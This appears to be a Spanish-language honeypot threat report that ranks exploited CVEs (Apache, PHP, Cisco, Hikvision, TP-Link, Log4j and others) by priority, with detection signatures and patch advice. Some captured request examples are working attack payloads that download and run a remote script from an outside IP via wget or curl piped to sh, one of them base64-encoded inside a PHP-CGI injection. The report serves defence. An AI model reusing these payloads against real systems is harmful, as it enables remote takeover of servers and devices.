Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Apache Software Foundation Apache HTTP Server: Apache HTTP Server 2.4 2.4.49.
Corrección indicada (inglés)	Upgrade Apache to version 2.4.50 or apply the relevant patch provided by the vendor.
Mientras tanto	Bloquear en el WAF las secuencias de recorrido de rutas (../ y sus codificaciones) y comprobar que el servicio no corre con más permisos de los necesarios.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZ https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RMIIEFINL6FUIOPD2A3M5XC6DH45Y3CC/

CVE-2020-3452 · Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Leer ficheros del servidor
Producto (registro CVE)	Cisco Adaptive Security Appliance (ASA) Software
Descripción oficial (inglés)	A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying o
Firma que lo detectó	ET EXPLOIT Cisco ASA/Firepower Unauthenticated File Read (CVE-2020-3452) M2
Gravedad (CVSS)	Alta (7,5) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Tipo de fallo (CWE)	CWE-20
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: parcial
Fechas	Publicada el 22/07/2020 (hace 6 años); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	9 intentos (9 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei, reglas Sigma y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)
Ejemplo capturado	`/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2BCSCOE%2B/portal_inc.lua`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Cisco Adaptive Security Appliance (ASA) Software: anteriores a 9.6.4.42, anteriores a 9.8.4.20, anteriores a 9.9.2.74, anteriores a 9.10.1.42 y 2 más.
Corrección indicada (inglés)	Apply the necessary security patches or updates provided by Cisco to fix the vulnerability.
Mientras tanto	Bloquear en el WAF las secuencias de recorrido de rutas (../ y sus codificaciones) y comprobar que el servicio no corre con más permisos de los necesarios.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2020-3452 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html

CVE-2024-4577 · PHP Group PHP

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	PHP Group PHP
Descripción oficial (inglés)	In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
Firma que lo detectó	PHP-CGI argument injection RCE
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 12/06/2024. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 09/06/2024 (hace 2 años); primera vez vista en los sensores el 30/08/2026.
Actividad en el periodo	462 intentos (21 con carga real) desde 18 IPs en 1 sensor, entre el 22/10/2026 y el 29/10/2026. Sensores: España.
Servicio y detección	Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input · <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?>`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: PHP Group PHP: rama 8.1 anterior a 8.1.29, rama 8.2 anterior a 8.2.20, rama 8.3 anterior a 8.3.8.
Corrección indicada (inglés)	Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2024-4577 https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html

CVE-2021-42013 · Apache HTTP Server

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Leer ficheros del servidor
Producto (registro CVE)	Apache Software Foundation Apache HTTP Server
Descripción oficial (inglés)	It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Firma que lo detectó	ET EXPLOIT Apache HTTP Server - Path Traversal Attempt (CVE-2021-42013) M2
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-22
Explotación conocida	Sí, figura en CISA KEV desde el 03/11/2021. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 07/10/2021 (hace 5 años); primera vez vista en los sensores el 22/07/2026.

Actividad en el periodo	44 intentos (12 con carga real) desde 20 IPs en 1 sensor, entre el 22/10/2026 y el 29/10/2026. Sensores: España.
Servicio y detección	Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh · (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Apache Software Foundation Apache HTTP Server: Apache HTTP Server 2.4.49, Apache HTTP Server 2.4.50.
Corrección indicada (inglés)	Upgrade to Apache HTTP Server 2.4.51 or later.
Mientras tanto	Bloquear en el WAF las secuencias de recorrido de rutas (../ y sus codificaciones) y comprobar que el servicio no corre con más permisos de los necesarios.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-42013 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZ https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RMIIEFINL6FUIOPD2A3M5XC6DH45Y3CC/

CVE-2021-36260 · Hikvision Security cameras web server

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
Firma que lo detectó	Hikvision IP camera/NVR - Remote Command Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 10/01/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 22/09/2021 (hace 5 años); primera vez vista en los sensores el 01/07/2026.
Actividad en el periodo	308 intentos (3 con carga real) desde 5 IPs en 1 sensor, entre el 19/10/2026 y el 29/10/2026. Sensores: España.
Servicio y detección	HTTP, HTTPS, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/SDK/webLanguage`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-36260 https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/ http://packetstormsecurity.com/files/164603/Hikvision-Web-Server-Build-210702-Command-Injection.html

CVE-2023-23752 · Joomla!

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Saltarse el acceso o ganar privilegios
Producto (registro CVE)	Joomla! Project Joomla! CMS
Descripción oficial (inglés)	An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
Firma que lo detectó	Potential CVE-2023-23752 Exploitation Attempt
Gravedad (CVSS)	Media (5,3) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Explotación conocida	Sí, figura en CISA KEV desde el 08/01/2024. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: parcial
Fechas	Publicada el 16/02/2023 (hace 3 años); primera vez vista en los sensores el 14/07/2026.
Actividad en el periodo	1 intentos (1 con carga real) desde 1 IP en 1 sensor, entre el 26/10/2026 y el 26/10/2026. Sensores: Estados Unidos.
Servicio y detección	Web (HTTP/HTTPS). Detectado con plantillas Nuclei y reglas Sigma.
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)
Ejemplo capturado	`/api/index.php/v1/config/application?public=true`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Joomla! Project Joomla! CMS: 4.0.0-4.2.7.
Corrección indicada (inglés)	Upgrade to Joomla! version 4.2.8 or later.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2023-23752 https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html https://unsafe.sh/go-149780.html

CVE-2025-55182 · Meta React Server Components

Prioridad	**Urgente (ransomware)**. Plazo orientativo: en 7 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	Meta react-server-dom-webpack y Meta react-server-dom-turbopack
Descripción oficial (inglés)	A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
Firma que lo detectó	ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)
Gravedad (CVSS)	Crítica (10,0) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-502
Explotación conocida	Sí, figura en CISA KEV desde el 05/12/2025. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 03/12/2025 (hace 10 meses); primera vez vista en los sensores el 23/07/2026.
Actividad en el periodo	2 intentos (2 con carga real) desde 1 IP en 1 sensor, entre el 21/10/2026 y el 21/10/2026. Sensores: España.
Servicio y detección	Tráfico de red (Suricata). Detectado con Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)

Ejemplo capturado	`{"url": "/", "length": 1334, "status": 500, "hostname": "[sensor]", "protocol": "HTTP/1.1", "http_port": 80, "http_method": "POST", "http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "http_content_type": "text/html"}`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Meta react-server-dom-webpack: desde 19.0.0 hasta 19.0.0 incluida, desde 19.1.0 hasta 19.1.1 incluida, desde 19.2.0 hasta 19.2.0 incluida; Meta react-server-dom-turbopack: desde 19.0.0 hasta 19.0.0 incluida, desde 19.1.0 hasta 19.1.1 incluida, desde 19.2.0 hasta 19.2.0 incluida.
Corrección indicada (inglés)	Update to the latest version that fixes the unsafe deserialization issue.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2025-55182 https://www.facebook.com/security/advisories/cve-2025-55182 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

CVE-2023-20198 · Cisco IOS XE Web UI

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Saltarse el acceso o ganar privilegios
Producto (registro CVE)	Cisco IOS XE Software
Descripción oficial (inglés)	Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker. Our investigation has determined that the actors exploited two previously unknown issues. The attacker first exploited CVE-2023-20198 to gain initial access and issued a privilege 15 command to create a local user and password combination. This allowed the user to log in with normal user access. The attacker then exploited another component of the web UI feature, leveraging the new local user to elevate privilege to root and write the implant to the file system. Cisco has assigned CVE-2023-20273 to this issue. CVE-2023-20198 has been assigned a CVSS Score of 10.0. CVE-2023-20273 has been assigned a CVSS Score of 7.2. Both of these CVEs are being tracked by CSCwh87343.
Firma que lo detectó	ET EXPLOIT Cisco IOS XE Web Server Possible Authentication Bypass Attempt (CVE-2023-20198) (Inbound)
Gravedad (CVSS)	Crítica (10,0) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-420
Explotación conocida	Sí, figura en CISA KEV desde el 16/10/2023. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 16/10/2023 (hace 3 años); primera vez vista en los sensores el 18/07/2026.
Actividad en el periodo	2 intentos (1 con carga real) desde 1 IP en 1 sensor, entre el 20/10/2026 y el 20/10/2026. Sensores: España.
Servicio y detección	HTTP, Tráfico de red (Suricata). Detectado con plantillas Nuclei y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/%2577eb%2575i_%2577sma_Http`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Cisco IOS XE Software: 16.1.1, 16.1.2, 16.1.3, 16.2.1 y 182 más.
Corrección indicada (inglés)	Apply Cisco security patches from advisory cisco-sa-iosxe-webui-privesc-j22SaA4z that validate input in the web UI and prevent command injection in the SOAP API.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2023-20198 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z https://www.rapid7.com/blog/post/2023/10/16/etr-cisco-ios-xe-web-ui-cve-2023-20198-active-exploitation/

CVE-2018-10561 · Dasan Gigabit Passive Optical Network (GPON) Routers

Prioridad	**Urgente**. Plazo orientativo: en 7 días.
Qué permite	Saltarse el acceso o ganar privilegios
Descripción oficial (inglés)	An issue was discovered on Dasan GPON home routers. It is possible to bypass authentication simply by appending "?images" to any URL of the device that requires authentication, as demonstrated by the /menu.html?images/ or /GponForm/diag_FORM?images/ URI. One can then manage the device.
Firma que lo detectó	GPON router auth bypass / RCE
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Explotación conocida	Sí, figura en CISA KEV desde el 31/03/2022. Uso en ransomware: no conocido.
EPSS	93 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 04/05/2018 (hace 8 años); primera vez vista en los sensores el 05/07/2026.
Actividad en el periodo	27 intentos (4 con carga real) desde 14 IPs en 3 sensores, entre el 19/10/2026 y el 29/10/2026. Sensores: España, Singapur y Suecia.
Servicio y detección	HTTP, HTTPS, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con firma propia y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/GponForm/diag_Form?images/`
Qué hacer	Aplicar la última actualización del fabricante.
Mientras tanto	Limitar el acceso al panel o servicio a direcciones de confianza (lista blanca o VPN) y revisar las cuentas con privilegios creadas hace poco.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2018-10561 http://www.securityfocus.com/bid/107053 https://www.exploit-db.com/exploits/44576/
Aviso	Mismos intentos, IPs y fechas que CVE-2018-10562. Probablemente es la misma petición activando varias firmas: conviene tratarlas como una sola evidencia.

CVE-2017-9841 · PHPUnit

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
Firma que lo detectó	PHPUnit - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-94
Explotación conocida	Sí, figura en CISA KEV desde el 15/02/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 27/06/2017 (hace 9 años); primera vez vista en los sensores el 14/07/2026.
Actividad en el periodo	541 intentos (0 con carga real) desde 16 IPs en 1 sensor, entre el 22/10/2026 y el 29/10/2026. Sensores: España.
Servicio y detección	Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php · <?php echo(md5("Hello PHPUnit"));`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.

Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2017-9841 https://security.gentoo.org/glsa/201711-15 http://www.securityfocus.com/bid/101798

CVE-2014-6271 · GNU Bourne-Again Shell (Bash)

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
Firma que lo detectó	Shellshock (bash CGI)
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 28/01/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 24/09/2014 (hace 12 años); primera vez vista en los sensores el 07/09/2026.
Actividad en el periodo	422 intentos (0 con carga real) desde 8 IPs en 3 sensores, entre el 24/10/2026 y el 28/10/2026. Sensores: EE.UU. (Cowrie), España y España (Cowrie).
Servicio y detección	SSH/Telnet (Cowrie), Web (HTTP/HTTPS). Detectado con firma propia.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`f_check_c15c38d5c97df0232484b8dcbb26bf88() { echo ' check_c15c38d5c97df0232484b8dcbb26bf88_small_function|'"$1|$#"; }; f_check_c15c38d5c97df0232484b8dcbb26bf88 'check_c15c38d5c97df0232484b8dcbb26bf88_function_value'`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2014-6271 http://lists.opensuse.org/opensuse-security-announce/2014-09/msg00034.html http://marc.info/?l=bugtraq&m=141577137423233&w=2

CVE-2023-1389 · TP-Link Archer AX21

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	TP-Link Archer AX21 (AX1800)
Descripción oficial (inglés)	TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.
Firma que lo detectó	TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection
Gravedad (CVSS)	Alta (8,8) · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 01/05/2023. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.

Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 15/03/2023 (hace 3 años); primera vez vista en los sensores el 01/07/2026.
Actividad en el periodo	15 intentos (0 con carga real) desde 2 IPs en 2 sensores, entre el 19/10/2026 y el 29/10/2026. Sensores: España y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: TP-Link Archer AX21 (AX1800): All versions prior to version 1.14 Build 20230219.
Corrección indicada (inglés)	Update to the latest firmware version provided by TP-Link.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2023-1389 https://www.tenable.com/security/research/tra-2023-11 http://packetstormsecurity.com/files/174131/TP-Link-Archer-AX21-Command-Injection.html

CVE-2021-44228 · Apache Log4j2

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	Apache Software Foundation Apache Log4j2
Descripción oficial (inglés)	Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Firma que lo detectó	Sonicwall NSM - Remote Code Execution (Apache Log4j)
Gravedad (CVSS)	Crítica (10,0) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-502, CWE-400, CWE-20
Explotación conocida	Sí, figura en CISA KEV desde el 10/12/2021. Uso en ransomware: **sí, conocido**.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 10/12/2021 (hace 4 años); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	6 intentos (0 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/api/sonicos/auth`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Apache Software Foundation Apache Log4j2: desde 2.0-beta9 hasta antes de log4j-core*.
Corrección indicada (inglés)	Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd https://www.debian.org/security/2021/dsa-5020

CVE-2012-1823 · PHP

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
Firma que lo detectó	PHP CGI v5.3.12/5.4.2 Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-20
Explotación conocida	Sí, figura en CISA KEV desde el 25/03/2022. Uso en ransomware: no conocido.
EPSS	>99 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 11/05/2012 (hace 14 años); primera vez vista en los sensores el 22/10/2026.
Actividad en el periodo	76 intentos (0 con carga real) desde 16 IPs en 1 sensor, entre el 22/10/2026 y el 29/10/2026. Sensores: España.
Servicio y detección	Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
